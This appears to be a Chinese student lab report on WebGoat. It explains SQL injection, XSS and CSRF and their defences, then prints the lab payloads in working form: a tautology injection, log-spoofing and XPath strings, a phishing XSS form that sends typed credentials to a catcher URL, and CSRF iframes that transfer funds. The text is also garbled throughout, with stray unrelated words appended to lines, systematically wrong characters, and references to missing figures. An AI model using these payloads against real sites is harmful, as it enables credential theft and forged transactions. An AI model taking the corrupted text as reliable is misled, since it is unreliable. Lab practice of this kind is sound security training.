1.SQL注入攻击原理,如何防护?java
定义:SQL注入便是指web应用程序对用户输入数据的合法性没有判断,攻击者能够在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非受权的任意查询,从而进一步获得相应的数据信息。web
如图简要说明:正则表达式
●SQL注入威胁表现形式能够体现为如下几点:sql
●绕过认证,得到非法权限数据库
●猜解后台数据库所有的信息django
●注入能够借助数据库的存储过程进行提权等操做编程
●SQL注入攻击的典型手段浏览器
●判断应用程序是否存在注入漏洞安全
●收集信息、并判断数据库类型服务器
●根据注入参数类型,重构SQL语句的原貌
●猜解表名、字段名
●获取帐户信息、攻击web或为下一步攻击作准备
如何防范:
因此从根本上防止sql注入,仍是避免数据变成代码被执行,时刻分清代码和数据的界限。而具体到SQL注入来讲,被执行的恶意代码是经过数据库的SQL解释引擎编译获得的,因此只要避免用户输入的数据被数据库系统编译就能够了。
如:
二、XSS攻击的原理,如何防护?
xss 跨站脚本攻击(Cross Site Scripting),为了避免和层叠样式表(Cascading Style Sheets,CSS)缩写混淆,因此将跨站脚本攻击缩写为xss。
整体来讲,XSS分三类,存储型XSS、反射型XSS、DOM-XSS。
存储型XSS
反射型XSS
将用户输入的存在XSS攻击的数据,发送给后台,后台并未对数据进行存储,也未通过任何过滤,直接返回给客户端。被浏览器渲染。就可能致使XSS攻击;
反射型XSS,是最经常使用的,使用最广的一种方式。经过给别人发送有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数呗HTML解析、执行。
它的特色:是非持久化,必须用户点击带有特定参数的连接才能引发
DOM-XSS
如今的XSS如此流行,缘由何在。我想你们应该都知道,就是在输入的时候没有作严格的过滤,而在输出的时候,也没有进行检查,转义,替换等
因此防范的方法就是,不信任任何用户的输入,对每一个用户的输入都作严格检查,过滤,在输出的时候,对某些特殊字符进行转义,替换等
3.CSRF攻击原理,如何防护?
(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,一般缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS很是不一样,而且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性。
防护:
在业界目前防护 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证
实验过程:
Webgoat
。在百度云上下载压缩包,而后拷入kali中,并在压缩包目录中使用java -jar webgoat-container-7.1-exec.jar
这条指令。
而后打开火狐浏览器
就像攻关同样能够联系左侧的题目,英文很差的自备翻译软件:
String SQL Injection(字符注入):
而后根据文本框下面的数据库语言,咱们在文本框中输入'or 1='1
,即在数据库语言中造成了名字=''(空集,即全部)or 1=’1(永真式)
的判断,结果是会显示全部的用户信息。
Log Spoofing(日志欺骗):
咱们构造一个恶意的字符串
xm%0d%0aLogin Succeeded for username: admin
复制到user name 文本框中,密码随意输入,即可登录admin。
XPATH Injection(XPATH注入):
输入xm' or 1=1 or 'a'='a
和xm,而后能够看到攻击成功
LAB: SQL Injection
使用数据库注入来绕过身份验证,即不须要密码就能够登录。
使用用户Nevile进行登录,注入的代码’or 1='1
Numeric SQL Injection
(数字数据库注入)
跨站脚本攻击,在表单中输入超文本代码XSS能够劫持用户的浏览器,任意构造用户当前浏览的HTML内容,模拟用户当前的操做。这里实验模拟获取用户名和密码的攻击在文本框里面输入一个钓鱼网站代码</form>
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
Stored XSS Attacks
目的是建立非法的消息内容,能够致使其余用户访问时载入非预期的页面或内容
在Message中构造语句<script>alert("you are a bad guys");</script>
,提交后,能够发现刚刚建立的弹窗
Reflected XSS Attacks
Cross Site Request Forgery(CSRF)
目的是发送一个恶意URL请求的图片给用户。在message框里输入一段文字,文字里包含了恶意图片。
在信息框中输入:
<iframe src="attack?Screen=src290&menu=menu900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=src290&menu=menu900&transferFunds=CONFIRM"> </iframe>
实验体会:
深入觉的本身对与web的知识了解甚少,基础知识有待提升。。。。